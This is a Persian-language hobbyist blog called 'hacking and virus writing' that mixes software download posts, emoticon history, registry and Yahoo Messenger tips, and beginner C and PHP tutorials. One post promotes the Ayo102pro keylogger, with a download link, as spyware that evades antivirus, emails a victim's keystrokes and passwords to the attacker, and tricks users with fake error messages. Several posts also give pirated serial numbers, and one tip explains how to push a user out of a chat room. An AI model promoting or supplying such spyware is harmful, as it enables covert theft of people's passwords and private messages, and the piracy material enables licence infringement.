تبليغاتX
هک و ویروس نویسی

هک و ویروس نویسی

AutoHangUp(برنامه قطع تماس)

این برنامه برای قطع تماستان بعد از گذشت زمانیکه شما از قبل تعیین کرده اید بکار می رود تا بتوانید هزینه مکالمه خودرا کاهش بدهید.

شماره سریال این برنامه 5 تا صفر است.

 

   نکته : فایل مورد نظر بصورت فشرده با پسوند های Zip یا Rar میباشد .

                                              

     http://www.gsm.ir/images/program/program526.zip

 

+ نوشته شده در  ساعت 22:13  توسط شیطان پنهان(hidesatan)  | 

AdvancedCallManager(برنامه مدیریت تماسها)

این برنامه برای زمانهایی است که شما نمی توانید به تماسهای خود پاسخ دهید .

به اینصورت که بنا بر تنظیم شما ، تماسها را رد کرده یا به برخی شماره ها sms با متن دلخواهتان رامی فرستد ویا تماس را به شماره مورد نظرتان دایورت می کند.

 

    نکته : فایل مورد نظر بصورت فشرده با پسوند های Zip یا Rar میباشد .

                                              

     http://www.gsm.ir/images/program/program525.zip

+ نوشته شده در  ساعت 22:12  توسط شیطان پنهان(hidesatan)  | 

Call Recorder ( برنامه ضبط مکالمه)

جهت ضبط صدا در هنگام مکالمه می باشد که مخصوص گوشی های Communicator (گوشی های سری S80 ) است .
 

  نکته : فایل مورد نظر بصورت فشرده با پسوند های Zip یا Rar میباشد .

 

                                    

   http://www.gsm.ir/images/program/program153.zip
+ نوشته شده در  ساعت 22:12  توسط شیطان پنهان(hidesatan)  | 

Smart Answer (برنامه منشی تلفنی)

این برنامه قابلیت های کامل یک منشی تلفنی را به شما ارائه می دهد ذخیره پیغام ها در این برنامه بستگی دارد به فضای موجود روی حافظه گوشی شما ، که پیغام های ورودی را گرفته و ضبط و نگهداری می کند .

 نکته : فایل مورد نظر بصورت فشرده با پسوند های Zip یا Rar میباشد .

                                      

   http://www.gsm.ir/images/program/program166.zip
+ نوشته شده در  ساعت 22:11  توسط شیطان پنهان(hidesatan)  | 

هنگام برقرار کردن ارتباط در اینترنت ، دشوارترین کار ، صرف‌نظر از درست‌نویسی هجاهای کلمات ، ابراز احساس واقعی است. هنگان چت کردن و میل زدن ، کلمات زیادی رد و بدل می‌شوند و بسیارند مواردی که گیرنده یک جمله ، سر در گم می‌شود که منظور واقعی فرستنده از یک عبارت چه بوده است. گیرنده نمی‌تواند از لحن یک عبارت مطمئن باشد ، آیا او با من شوخی می‌کرد؟ آیا واقعا منظورش همین بود؟

ولی در ساعت 11:44 ، 19 سپتامبر سال 1982 همه چیز عوض شد. در این تاریخ و در این زمان که البته هنوز خبری از اینترنت نبود ، «اسکات فالمن» Scott E. Fahlman ، استاد یکی از دانشگاه های پنسیلوانیا ، در یکی از بولتن‌های الکترونیک نوشت:

«من این ترتیب کارکترها را برای افراد بذله‌گو پیشنهاد می‌کنم:
:-)
از پهلو باید خوانده شود.»

 

687474702f7777772e706f73742d67617a657474652e636f6d2f696d61676573322f3230303230393139666c73536d696c65795f3233302e6a7067.jpg

 

به این ترتیب این آقای فالمن بود که نخستین بار نسخه الکترونیکی لبخند را به همگان شناساند. در طی روزها و ماه‌های بعد سایر دانشگاه‌ها هم متوجه ابتکار آقای فالمن شدند و خندانک‌های زیادی را ابداع کردند.

البته بعضی‌ها اظهار کرده‌اند که تلگراف‌چی‌ها هم قبلا چنین ابتکاری را به خرج داده بودند و آقای فالمن شاید نخستین کسی باشد که در جوامع الکترونیک نوین از این توالی سکانس‌ها برای بیان احساسات استفاده کرده است.

کلمه معنی
=^D
خنده بزرگ
=^*
بوسه
: (
غمگینی
:.(
گریه
: |
خستگی ، غمگینی
}: [
عصبانیت
8-)
حیرت‌زده یا عینکی
:-D
خندیدن
:-(
اخم کردن
(-:
لبخند چپ‌دست‌ها!
  

 silly-smileys.jpg

:-{)
لبخند سبیلوها
:-{)}
لبخند با سبیل و ریش!
:-/
دهن‌کجی
:-#
دهانم بسته است
:-@
فریاد زدن
>:-<
عصبانی
:/)
خنده‌دار نیست
()
در آغوش گرفتن
((()))
محکم در آغوش گرفتن
*
بوسه
 
:**:
جواب بوسه
:-&
زبان بسته
:-?
ریشخند کردن ، لیس زدن
:( )
فریاد زدن ، بلند صحبت کردن
^ ^ ^
بریده بریده حرف زدن
{{ }}
آغوش
P*
بوسه فرانسوی
%(|:-)  
مخ!
:-)
لبخند کلاسیک
;-)
چشمک زدن
 

جالب اینجاست که در اینجا خواندم کاربران اینترنت در ژاپن ، وقتی از خندانک‌ها استفاده می‌کنند ، بیشتر روی حالت چشم تأکید دارند ، در حالی که کاربران غربی تأکیدشان بیشتر بر روی حالت دهان است. مثلا وقتی می‌خواهند بگویم خوشحال شدم ، می‌نویسند \(^ ^)/ ، گریه را اینطوری نشان می‌دهند: (ToT) ، و اینطوری حرف مخاطبشان را تصدیق می‌کنند : (゚ー゚)(。_。)

 

این هم سایت آقای اسکات فالمن

 

+ نوشته شده در  ساعت 18:13  توسط شیطان پنهان(hidesatan)  | 

دیروز خبر را خواندم که ايران به جمع كشورهاي پيشرفته سازنده قويترين ابررايانه هاي فوق سريع پيوست. در شرح خبر دکتر احمد معتمدی می گفت که ایران ۲۱۶ CPU را با استفاده از لینوکس موازی کرده و با ساخت یک «ابرکامپیوتر» به جمع معدود کشورهایی پیوسته که این تکنولوژی را دارند. خنده دار است و مسخره (: و یکی از دروغ هایی که لازم است هر روز گفته شود تا احساس کنیم علی رغم فقیرتر شدن و منزوی شدن، در حال پیشرفت دائمی و جلوزدن از جهان هستیم.

به قول دوستی ایران یک میکروپروسسور ۸ بیتی هم نساخته و مدعی ساختن «سوپرکامپیوتر» است (: ماجرا از این قرار است که شما هر چند تا کامپیوتر با سیستم عامل لینوکس که داشته باشید، می توانید در یک شبکه و فقط با استفاده از دو نرم افزار رایگان آزاد قابل دریافت از اینترنت آن ها را با هم موازی (از نظر فنی کلاستر) کنید و قدرت پردازشی بالاتری به دست بیاورید. عملا ما با این هیاهو پیوسته ایم به آدم هایی که برای کارهایی مثل رندر تصاویر در خانه شان از اینترنت این برنامه ها را دانلود می کنند و استفاده.

 البته به نفسه، ساخت این کلاستر دوست داشتنی است و یک قدم به جلو و من خوشحالم ولی وقتی بحث می کشد به دروغ گفتن و مساله را جوری جلوه دادن که انگار ما چیزی به علم اضافه کرده ایم، بدم می آید. این خبر می توانست این گونه باشد «ایران با کلاستر کردن فلان قدر میکروپروسسور، قدرت پردازشی فلان را به دست آورد که در خاور میانه منحصر به فرد است (که البته من شک دارم). از این کامپیوتر در کارهای هواشناسی استفاده خواهد شد.» ولی وقتی به دروغ جوری جلوه داده می شود که ما قهرمان جهان هستیم (با تقلید تکنولوژی ای که هندی ها حدود ده سال قبل اختراع کردند و در اختیار همه گذاشتند)، حالت تهوع به آدم دست می دهد

منبع: freekeyboard

+ نوشته شده در  ساعت 18:10  توسط شیطان پنهان(hidesatan)  | 

سلام بچه ها

بچه ها سلام 

شرمنده اگر مطالب بلاگ یه خورده بد شده آخه هم کلاس میرم هم کار میکنم و خلاصه سرم خیلی شلوغه اما از هفته ی دیگه یه خرده کارم کمتر میشه و بیشتر به این شیطون کوچولی خودمون         میرسیم و امید وارم که از مطالب آیندم خوشتون بیاد

راستی هنوز یه خرده از اون کتابایی که خودم نوشتم مونده

در مورد هک و خیلی نرم افزار دبگه بود یه ۱۰۰ تا ازش زدم حدود ۲۰ تا دیگش مونده

قیمتشم ۷۰۰۰ تومان است هرکی خواست فقط کافی یه این شماره زنگ بزنه ۰۹۱۷۷۰۵۴۳۹۷

یاآدرس خودشو تو نظرا بنویسه

دذ

+ نوشته شده در  ساعت 22:15  توسط شیطان پنهان(hidesatan)  | 

اطلاعیه

سلام بچه ها گفتم شاید خسته شده باشید یه خرده از هک و ویروس نویسی اومدم کنار

 

+ نوشته شده در  ساعت 14:25  توسط شیطان پنهان(hidesatan)  | 

ویرایشگر عکس ( ویرایشگر تصویر )

PC Image Editor is a free graphics editor with many of the features of a professional product. You can edit images from a variety of formats; it contains an extremely user-friendly interface enabling you to work intuitively. Along with the usual assortment of file operations such as Copy, Move, Delete, and Rename; adjust colors in photos; apply filters such as Hue, Negative, Colorize, Posterize, Mosaic, Twirl, Emboss; rotations and transformations; Perspective and Skew; blur images; sharpen images; image resizing; setting an image as the desktop wallpaper. Also, it contains enhanced brushes and painting options.

PC Image Editor Features:

Browse images in thumbnail mode.

- Import and export various graphic formats, including BMP, GIF, JPG, TIFF, PCX, PNG, TGA, J2K, WMF, EMF, and RAS.

- Apply 18 filters such as Blur, Sharp, Add Noise, Diffuse, Mosaic, Twirl, Emboss, and etc.

- Add image effects such as Rotate 90°, 180° and Arbitrary, Flip Horizontal and Vertical, Crop, Perspective, Skew, and etc.

- With 12 adjustment commands such as Auto Levels, Auto Contrast, Brightness, Contrast, Gamma Channel, Hue, Saturation, RGB Channel, Invert, Colorize, Equalize, Threshold, Posterize, and etc.

- Setting an image as the desktop wallpaper.

- Print images with full functionality.

- Also ability to resize images.

- Free update for any new version.

.

Download PC Image Editor v3.65

+ نوشته شده در  ساعت 14:11  توسط شیطان پنهان(hidesatan)  | 

ساخت تصاویر پانوراما توسط Pano2QTVR 1.6.3 ( ویرایشگر تصویر )

پانوراما ( panorama ) نام تکنیکی در عکاسی می باشد که به کمک آن می توان با گرفتن چندین عکس متوالی و پشت سر هم از نماهای مختلف یک محیط و قرار دادن آن ها در کنار یکدیگر تصاویری مجازی از کل منظره به وجود آورد. این ویژگی امروزه در گوشی های تلفن همراه جدید که دارای دوربین می باشند نیز مشاهده می شوند. گوشی هایی نظیر N73 شرکت نوکیا و یا W810 شرکت سونی اریکسون که دارای این ویژگی برای عکاسی می باشند. همچنین نرم افزارهای مختلفی نیز برای ساخت تصاویر پانوراما توسط شرکت های نرم افزاری ساخته شده است که کاربران می توانند به کمک آن ها و یک دوربین عکاسی دیجیتال معمولی اقدام به ساخت این گونه تصویر ها نمایند. کاربران برای دیدن این تصاویر کافیست تا با موس بر روی آن ها کلیک کرده و موس را به جهت دلخواه حرکت دهند، تصویر نیز با آنها حرکت نموده و در واقع تمامی محیط درون عکس را به صورت مجازی شبیه سازی می کند. همچنین کاربران می توانند بر روی تصاویر تمرکز نموده و اقدام به بزرگ نمایی تصاویر کنند.

در این مطلب شما را با نرم افزاری آشنا خواهیم ساخت که به کمک آن می توانید اقدام به ساخت عکس ها به شکل پانوراما نمایید.

 

Pano2QTVR نام نرم افزاری می باشد که کاربران به وسیله آن میتوانند با قرار دادن عکس های مرتبط به یک محیط در کنار یکدیگر تصاویر پانورام را با فرمت های Flash و تصاویر QuickTime ایجاد نمایید. این نرم افزار با ابزاری حرفه ای که کاربرد آن ها بسیار ساده می باشد به کاربران این قدرت را می دهد که به راحتی بتوانند هر تصویر دلخواهی را به صورت پانوراما ایجاد کنند. در این نرم افزار همان گونه که اشاره شد می توان تصاویر را در دو فرمت SWF که مربوط به فایل های فلش و MOV که مربوط به فایل های QTime می باشد ذخیره سازی نمودو از مزیت های این ویژگی این است که می توان به راحتی از تصاویر تحت فلش در صفحات وب نیز استفاده نمود تا ببیندگان یک صفحه وب نیز بتوانند از این تصاویر استفاده کنند.

 

از ویژگی های این نرم افزار می توان به موارد زیر اشاره نمود:

- توانایی ساخت پانوراما از عکس اشیاء

- قابلیت ساخت پانوراما از تصاویر معمولی

- توانایی ذخیره سازی در فرمت SWF

- توانایی ذخیره سازی در فرمت MOV

- قابلیت قرار دادن جزئیات نوشتاری بر روی تصاویر

- دارای ویژگی مربوط به جلوگیری از کاهش کیفیت تصاویر

- دارای رابط گرافیکی کاربری زیبا و حرفه ای

- قابلیت قرار دادن فایل های صوتی بر روی تصاویر و پخش آن ها در هنگام مشاهده پانوراما

- توانایی قرار دادن کلیپ های تصویری فلش در تصاویر

 و ... .

 

  دانلود کنید نسخه 1.6.3 را با حجم 2.71 مگابایت ( لینک غیر مستقیم )
  تصویری از محیط نرم افزار
  English Explanations

+ نوشته شده در  ساعت 14:6  توسط شیطان پنهان(hidesatan)  | 

برداشتن پشت زمینه در فتو شاپ با کمک ( ویرایشگر تصویر )

منبع : www.p30safe.com


شما با کمک این پلاگین می توانید به راحتی پشت زمینه عکس دلخواهتان را در نرم افزار قدتمند گرافیکی فتوشاپ برداشته و پشت زمینه دلخواهتان را به آن اضافه کنید .
برای استفاده ابتدا شما باید این پلاگین را در فتوشاپ نصب کنید و سپس از آن استفاده کنید.

دانلود با حجم444  کیلو بایت

+ نوشته شده در  ساعت 14:1  توسط شیطان پنهان(hidesatan)  | 

روتوش و زیباسازی تصاویر صورت تنها با چند کلیک ساده توسط نرم افزار قدرتمند

برای ترمیم و زیبا سازی تصاویر صورت گرفته شده چه توسط دوربین دیجیتال و چه سایر تصاویر دیجیتالی، استفاده از نرم افزاری تخصصی این فن می تواند بسیار مفید تر از استفاده از نرم افزار های غول گرافیکی دنیا همچون فتوشاپ باشد. خواه انکه کارکردن با چنین ابرنرم افزار هایی نیاز مهارت و آموزش پیشین دارد و افراد آماتور از استفاده از آنها بی بهره خواهند ماند به علاوه همان نرم افزارهای غول گرافیکی نیز برای تخصصی کار کردن نیاز به افزودن فیلتر ها و پلاگین های مخصوص دارند که کار در این زمینه برای کاربر نه چندان حرفه ای بسیار دشوار می شود .

یکی از نرم افزار برتر دنیا برای زیبا سازی تصاویر، سری نرم افزارهای FaceFilter Studio کمپانی Reallusion است که با امکانات بسیار مفید و قدرتمندی که برای شما فراهم می کند، امکان ویرایش و با کیفیت سازی تصاویر صورت را در سطحی بسیار عالی و حرفه ای برای کاربران فراهم می کند . برخورداری از تعداد بیشماری ابزارهای مفید، بهره مندی از ویژگی های خاص و ابزارهای هوشمند که به طور خودکار عمده کار را انجام می دهند، کیفیت عالی تصاویر حاصله و مناسب بودن برای تمامی افراد از آماتور تا پیشرفته از برترین خواص این نرم افزار است .

به تازگی نسخه 2.0 از این نرم افزار بسیار مفید عرضه شده است که با خود ویژگی های قدرتمند و نوینی را به همراه می آورد .

ویژگی های جدید ارائه شده در نرم افزار FaceFilter Studio 2.0 :

- بهبود چشمگیر در بخش های قدرتمند و هوشمند تنظیم رنگ خودکار که به خوبی و به گونه ای هوشمندانه صورت انسان را تشخیص داده و به ترمیم تمامی ایراد های جزئی آن می پردازد و تصویری با کیفیت و زیبا را به شما تحویل می دهد .

- رفع هوشمندانه و بسیار قدرتمند قرمزی چشم که ناشی از فلش دوربین هاست .

- چاپ عالی و با کیفیت تصاویر با یک کلیک .

- پشتیبانی از روتوش و ویرایش تصاویر بسیار با کیفیت حتی با رزولوشنی بیش از 12 مگاپیکسل !

دیگر ویژگی های نرم افزار قدرتمند روتوش تصاویر صورت FaceFilter Studio 2.0 :

تلاش برای هر چه طبیعی تر ساختن تصاویر صورت حاصله

- حذف یا تغییر در حالات بد صورت

- باز یا بسته کردن چشم ها

- تنظیم چاقی یا لاغری صورت

- زیبا سازی و تمیز کردن جزئیات چهره

بهره گیری از فن آوری های نوین زیبا سازی و رفع عیوب پوست

- تغییر یا تنظیم رنگ پوست به گونه ای طبیعی

- مخفی کردن ایراد های صورت همچون خال، جوش، زخم و ....

- حذف هرگونه زایده پوستی و نازیبایی های پیش آمده در پوست صورت .

- کم کردن گودی و سیاهی زیر چشم در تصاویر .

اصلاح هوشمندانه و قدرتمند تصاویر

- تشخیص خودکار و هوشمندانه رنگ و نوع پوست و ایجاد تغییرات لازمه برای هرچه زیباتر و طبیعی تر و مرغوب کردن آن .

- بهبود در توازن و تنظیم رنگ صورت با یک کلیک .

- کاستن قرمزی چشم ناشی از فلش تنها با یک کلیک به گونه ای طبیعی .

- آرایش و ایجاد تغییرات در آرایش صورت .

سادگی و قدرت بالای نرم افزار در ویرایش تصاویر صورت تنها در 5 مرحله

و .....

این نسخه از نرم افزار با نسخه های 2000/XP/VISTA از سیستم عامل ویندوز سازگاری کامل دارد .

جزئیات کامل تر به زبان سایت سازنده .....

FaceFilter Studio را می توانید از اینجا :

BitDefender Standard Edition دانلود کنید نسخه ی 2.0 را با حجم حدود 25.3 مگابایت، لینک دوم ، لینک سوم، لینک چهارم

BitDefender Standard Edition English Explanations

شماره سريال مورد نياز :
01L0H-A6C60-31L02-L011C-JL

+ نوشته شده در  ساعت 13:59  توسط شیطان پنهان(hidesatan)  | 

ایجاد افکت های خنده دار بر روی تصاویر توسط Fun Morph v4.45 ( ویرایشگر تصویر )

Morph نام ابزاری است که به شما این توانایی را می دهد تا بر روی عکس های خود و یا هر شخصیت دیگری افکت ها و شکل های خنده دار قرار دهید. این نرم افزار با ادقام دو عکس با یکدیگر و ایجاد افکت ها عکس ها را به حالتی تبدیل می کند که شبیه به مونتاژ می باشد. به عنوان مثال شما یک عکس چهره یکی از دوستان را با عکس یکی از بازیگران مشهور در برنامه وارد می کنید و با اعمال تغییرات و انجام تغییرات تصویر به گونه ای ساخته خواهد شد که عکس اولیه به تغییر حالت ها به عکس دوم تبدیل می شود. برای درک بهتر این موضوع به نمونه های تصاویر ساخته شده در زیز دقت کنید.

این نرم افزار توانایی ذخیره سازی تصاویر به فرمت های نظیر AVI که مختص فایل های تصویری می باشد ، به صورت کارت تبریک ، انمیشن های gif و ... را دارا می باشد.

 

از ویژگی های این نرم افزار می توان به موارد زیر اشاره کرد:

- ساخت تصاویر و ایجاد افکت ها در سه مرحله

- توانایی اعمال تنظیمات در کوتاه ترین زمان ممکن برای ساخت تصاویر

- دارای ابزار قدرتمند برای ویرایش عکس ها

- استفاده آسان از برنامه به صورت کاملا گرافیکی

- به اشتراک گذاری فایل ها برای دوستان از طریق EMail و ساخت تصاویر به صورت کارت های تبریک

- قابلیت ذخیره سازی تصاویر در انواع مختلف فرمت های تصویری مانند AVI, SWF, GIF و حتی به صورت صفحات وب

و ... .

 

 

جزئیات کامل تر به زبان سایت سازنده ....

 

 

  دانلود کنید نسخه  4.45 را با حجم 2.50 مگابایت
 
Serial Fun Morph v4.45 :
S/N :
FunMorph274j3d933hjsl2323b8

+ نوشته شده در  ساعت 13:54  توسط شیطان پنهان(hidesatan)  | 

نرم افزار معروف اسکن تصاویر VueScan Professional 8.4 ( ویرایشگر تصویر )

منبع: www.p30download.com


VueScan نرم افزار حرفه اي و در عين حال ساده اي است كه براي اسكن با كيفيت تصاوير بكار ميرود. اين نرم افزار كيفيت اسكن تصاوير و عكس هاي شما را به شكل قابل ملاحظه اي افزايش داده و نتيجه ي بهتري در خروجي ارائه ميدهد. همچنين داراي تنظيمات قدرتمند و پيشرفته اي است كه استفاده از آن منجر به افزايش كيفيت تصاوير اسكن شده ي حاصل از اسناد ميشود. VuePrint يكي از محبوبترين و پركاربردترين نرم افزار هاي اسكن تصاوير به شمار رفته و توسط بسياري ازعکاسان، شرکتهای خدماتی و کاربران خانگی مورد استفاده قرار ميگيرد.

از قابلیت های این نرم افزار ویژه به موارد زیر میتوان اشاره کرد:
- محيط كاربري بسيار ساده، به همراه قابليت Wizard يا راهنماي مرحله به مرحله، جهت همراهي كاربر تا رسيدن به هدف خود
- پشتيباني از بيش از 400 نوع اسکنر و 185 نوع دوربين ديجيتالی مختلف
- تغيير اندازه و تبديل فرمت تصاوير به يكديگر 
- كاهش حجم تصاوير، جهت ارسال آنها از طريق ايميل
- داراي كاتالوگ هاي راهنماي جامع در قالب هاي HTML و PDF
- پشتيباني از زبان هاي رايج دنيا همچون:
 Dutch, Finnish, French, German, Italian, Japanese, Korean, Russian, Spanish, Swedish, English
- سازگار با ويندوز هاي 95/98/Vista/Me/NT4/2000/XP و سيستم عامل مكينتاش (Mac OS X) نسخه 10.2.8 به بالا
- و ...


قیمت: 79.95 دلار آمریکا
پسورد: www.p30download.com
  دانلود - 2.9 مگابایت
  سایت سازنده

+ نوشته شده در  ساعت 13:50  توسط شیطان پنهان(hidesatan)  | 

غیر فعال کردن شات دون 2.روشن نگه داشتن کامپیوتر هنگام قطع برق (

1.وارد RUN شوید وتایپ کنید regedit حالا به آدرس زیر بروید :

HKEY-CURRENT-USER / soft ware / microsaft / windows / corrent vesion / policies / explorer

یک متغییر از نوع DWORD  با نام Noclose بسازید وگر وجود دارد فقط آن را تغییر دهید و مقدارش را 1 قرار دهید همین کار را برای کلید زیر نیز انجام دهید :

HKEY-LOCAL-MACHINE / soft war / microsoft / windows / current version / policies / explorer

در ضمن برای دوباره فعال کردن گزینه مقدار متغیر فوق را صفر کنید .

 

2.روی desktop کلیک راست کنید سپس گزینه ی آخر یعنی properties را انتخاب کنید بعد به قسمت setting می رویم وبعد گزینه ی adranced مراجعه می کنیم بعد به adaptor  رفته و peroperties را بزنید سپس به rescoures می رویم و memory rany را انتخاب می کنیم و بعد OK را می زنیم.

البته این کار بر روی همه ی کامپیوتر ها اجرا نمی شود

+ نوشته شده در  ساعت 12:39  توسط شیطان پنهان(hidesatan)  | 

جلوگیری از دیس کانکت شدن 2.حذف سطل زباله از ویندوز ( )

*control panel را باز می کنیم و به آدرس زیر می رویم :

phon and modem / option / modem /properties / advanced

در قسمت extra setting عبارت s10=50 را وارد کنید اگر در این قسمت عبارتی نوشته بود آن را با یک کاما از دستور بعدی جدا کنید .

 .

 .

 .

 

*1.برای این کار از منوی start گزینه ی run را انتخاب کرده و regedit را تایپ کنید و اینتر را بزنید .

2.حالا به آدرس زیر بروید :

HKEY-LOCAL-MACHINE / soft ware / microsoft / windows / curren version / explorer / desktop / nam espace

3.حالا پوشه ای به نام 645ff040-5081 شروع می شود حذف کنید .

 

+ نوشته شده در  ساعت 12:38  توسط شیطان پنهان(hidesatan)  | 

1.عوض کردن پسورد ای دی 2.یافتن پسورد ( )

ابتدا با ID خود وارد یاهو شوید بعد گزینه ی messenger در بالا گزینه ی my account info را انتخاب کنید .

پس از این که روی گزینه ی my account info کلیک کردید یک صفحه باز می شود که باید پسورد ایمیل خود را وارد کنید و اینتر را بزنید تا وارد قسمت تنظیمات ایمیل یاهو شوید .پس از این که وارد صفحه ی جدید شدید روی قسمت change password کلیک کنید .

بعد از ورود به change password سه کادر وجود دارد :

current password :پسورد قبلی

new password :پسورد جدید

new password:تایید پسورد جدید

حالا دکمه ی save را بزنید .

Image and video hosting by TinyPic

*ابتدا در run کلمه ی regedit را تایپ کرده بعد در پنجره ی باز شده به آدرس زیر بروید:

1.HKEY-CURRENT-USER

2.softwar

3.yahoo

4.pager

بعد روی save password رفته و عدد صفر را به 100 یا 110 تغییر بدهید حالا سری به یاهو بزنید.

+ نوشته شده در  ساعت 12:37  توسط شیطان پنهان(hidesatan)  | 

1.بیرون انداختن از روم

در روم تایپ کنید

/...invite

به جای (...) ID شخص مورد نظر را تایپ منید این کار را چند بار انخام دهید تا طرف از روم برود .

 .

 .

 .

 .

*ابتدا در run کلمه ی regedit را بنویسید به آدرس زیر بروید :

HKEY-CURRENT-USER / softwar / yahoo / pager / yurl

حالا دو متغیر از نوع string value با نام های chat adurl و confadurl بسازید و مقادیر این دو متغیر قرار دهید:file:///c:

حالا وارد چت روم یاهو شوید .در صورتی که از نسخه های جدید یاهو استفاده می کنید بعد از زدن Enter chat در چت روم ممکن است با یک پیام اخطار روبه رو شوید در این صورت روی آن کلیک کنید واز تبلیغات یاهو راحت شوید

+ نوشته شده در  ساعت 12:34  توسط شیطان پنهان(hidesatan)  | 

چگونه مي توان در محيط گرافيك زبان c يك شكل پيچيده را حركت داد؟

 
در محيط گرافيك در زبانهاي برنامه نويسي تحت DOS اشكال ساده مثل مستطيل و دايره را مي توان با پاك كردن و كشيدن مجدد براحتي جابجا نمود اما حركت اشكال پيچيده با اين روش بسيار وقت گير مي باشد بطوريكه پاك كردن و كشيدن دوباره شكل كاملا به چشم مي آيد. در چنين مواقعي مي بايست شكل مورد نظر را كه در داخل يك مستطيل فرضي قرار دارد , وارد يك حافظه كمكي نمود و محتويات اين حافظه را در نقطه اي دلخواه در صفحه چاپ كرد .

در ابتداي كار يك متغير از نوع int تعريف كنيد كه اندازه شكل محاسبه شود و در آن قرار گيرد. يك متغير نيز از نوع *void تعريف كنيد كه در واقع بافري است كه رنگ پيكسل هاي مستطيل در آن به ترتيب قرار مي گيرند تا در موقع لزوم به همان ترتيب چاپ شوند:


int size;

void* buffer;


حال مي بايست اندازه مستطيل را با تابع imagesize محاسبه و در متغير size بريزيد:


size=imagesize(x1,y1,x2,y2);


كه پارامتر هاي آن به ترتيب مختصات گوشه بالاي سمت چپ مستطيل و گوشه پايين سمت راست آن مي باشند.

حال حافظه اي را با تابع malloc به اندازه size به buffer اختصاص دهيد:


buffer=malloc(size);


الگوي اين تابع در سر فايل alloc.h قرار دارد.(الگوي ساير توابع گفته شده در graphics.h مي باشد.)

حال نوبت به خواندن پيكسلهاي مستطيل مي باشد. اين كار را با تابع getimage انجام دهيد كه پيكسلها را خوانده و در بافر قرار مي دهد:


getimage(x1,y1,x2,y2,buffer);


كار ما براي خواندن مستطيل به پايان رسيده است . فقط كافيست بافر خوانده شده را با تابع putimage در نقطه دلخواه چاپ كنيم :


putimage(x,y,buffer,COPY_PUT);


دو پارامتر اول اين تابع مختصات نقطه مقصد مي باشند .(گوشه بالاي سمت چپ مستطيل در مقصد) پارامتر دوم بافر محتوي شكل و پارامتر سوم تعيين كننده نوع چاپ شدن شكل مي باشد كه داراي حالات زير است :


Constant Value Meaning
----------------------------------------------------------------------------------------------------------
COPY_PUT 0 Copies source bitmap onto screen
XOR_PUT 1 Exclusive ORs source image with that already onscreen
OR_PUT 2 Inclusive ORs image with that already onscreen
AND_PUT 3 ANDs image with that already onscreen
NOT_PUT 4 Copy the inverse of the source


دقت كنيد كه در پايان برنامه حتما حافظه گرفته شده با دستور malloc را آزاد كنيد:


free(buffer);


توجه كنيد كه شكل لزوما يك مستطيل نيست بلكه براي ذخيره سازي شكل در حافظه يك مستطيل فرضي دور شكل در نظر گرفته مي شود . براي مثال ميتوانيد كد زير را كپي كرده و در محيط TC اجرا كنيد :



#include
#include
#include
int main(){
int driver=DETECT,mode=0,size,column,row,horiz,vert;
void* buffer;
initgraph(&driver,&mode,"c:\\tc\\bgi");
setcolor(LIGHTBLUE);
rectangle(2,2,200,40);
setfillstyle(SOLID_FILL,BLUE);
floodfill(100,20,LIGHTBLUE);
settextstyle(SMALL_FONT,HORIZ_DIR,7);
setcolor(WHITE);
outtextxy(12,10,"www.PooyeshR.com");
rectangle(0,0,600,400);
size=imagesize(1,1,201,41);
buffer=malloc(size);
getimage(1,1,201,41,buffer);
column=1;
row=1;
horiz=1;
vert=1;
while(!bioskey(1)){
putimage(column,row,buffer,COPY_PUT);
column+=vert;
row+=horiz;
if(column==399 || column==1)
vert=-vert;
if(row==359 || row==1)
horiz=-horiz;
}
free(buffer);
closegraph();
restorecrtmode();
return 0;
}

 

+ نوشته شده در  ساعت 12:33  توسط شیطان پنهان(hidesatan)  | 

کی لاگر ها یا همان جاسوس ها

کی لاگر ها یا همان جاسوس ها برنامه هایی هستند که در سیستم قربانی نشسته و مخفی میمانند . طوری که قربانی هر کلیدی را در صفحه کیبورد تایپ کند , کلید های زده شده به ایمیل هکر میل میشوند . شما با کی لاگر Ayo102pro قادر خواهید بود کل پسورد های کامپیوتر قربانی از جمله : پسورد آیدی قربانی , پسورد وبلاگ قربانی , پسورد ویندوز قربانی و همچنین پسورد عضویت تمام سایتهایی که قربانی در آن حضور دارد را در ایمیل خود دریافت کنید .

قابلیت های برنامه :

 غير قابل تشخيص و شناسايی توسط فايروال و آنتی ويروس

 حجم بسيار کم سرور > 16 کيلوبايت! (بسته به تنظيمات سرور برنامه از 14 تا 20 کيلو بايت متغير ميباشد)

 امکان غير فعال کردن RegEdit و Task Manager  (نيازی به اين کارنيست!)

 غير قایل مشاهده در MsConfig و قسمت Run در رجيستری ويندوز !

 امکام غير فعال کردن Auto Login و Save Password در ياهو مسنجر

 امکان ارسال محتويات متنی ClipBoard + هر آنچه را کاربر تايپ نمايد !  (متون چت, ايميل, کلمه عبور....)

 امکان ارسال IP Address  و نوع مرورگر و همچنين  سيستم عامل مورد استفاده توسط شخص هک شده

 امکان تعيين پيغام خطا برای اجرای اول سرور جهت گول زدن کاربر! (مثلا Invalid file size يا This file is not a vali Win32 applicaton)

 امکان انتخاب آیکن های متنوع برای فايل سرور

 امکان غير فعال کردن System Restore !!!

 امکان چسپاندن فايلهای اجرايی و حتی تصويری به سرور برنامه

 چنانچه فايلی تصويری را به سرور برنامه بچسبانيد, پس از اجرای سرور و مشاهده تصوير توصط کاربر, فقط فايل تصويری چسبانده شده بر جايی خواهد ماند (با فرمت JPEG) , و سرور برنامه بر روی سيستم نصب خواهد شد که اين امر به جلوگيری از شناسايی سرور برنامه نيز کمک ميکند!

 

Www.j3n4y4t.bloGfa.coM

 

دانلود

 

پسورد برنامه : www.j3n4y4t.blogfa.com

 

مدت رمان دانلود : ۱ دقیقه و ۲ ثانیه

+ نوشته شده در  ساعت 12:32  توسط شیطان پنهان(hidesatan)  | 

آموزش زبان php

آرایه چیست؟

وقتی شما با php کار می کنید  قادرید تعداد زیادی متغیر تعریف کنید.

در عوض اینکه شما تعداد زیادی متغیر تعریف کنید می تونید مقادیر منغیرهاتون رو در آرایه ذخیره کنید.

هر چیز ذخیره شده در آرایه دارای یک شناسه مخصوص خود است که ما را قادر می کنه راحت بهشون دسترسی داشته باشیم.

ما 3 نوع آرایه داریم.

1.آرایه های با شاخص عددی :یعنی اندیس آرایه (شناسه دسترسی) به صورت عددی است که از 0 شروع می شه.

2.آرایه های انجمنی : آرایه هایی هستند که به جای اعداد از دنباله های کارکتری جهت شاخص گذاری درآنها استفاده می شود.

3.آرایه های چندبعدی : آرایه هایی که خودشون شامل آرایه های دیگر هستند.

آرایه های با شاخص عددی :

راه های مختلف برای ایجاد آرایه با شاخص عددی

Example1

در این مثال شاخص ها به صورت اتوماتیک از صفر به بالا به عناصر آرایه نسبت داده می شوند

$names = array("Sina","SHB","Hadi");
 

Example 2

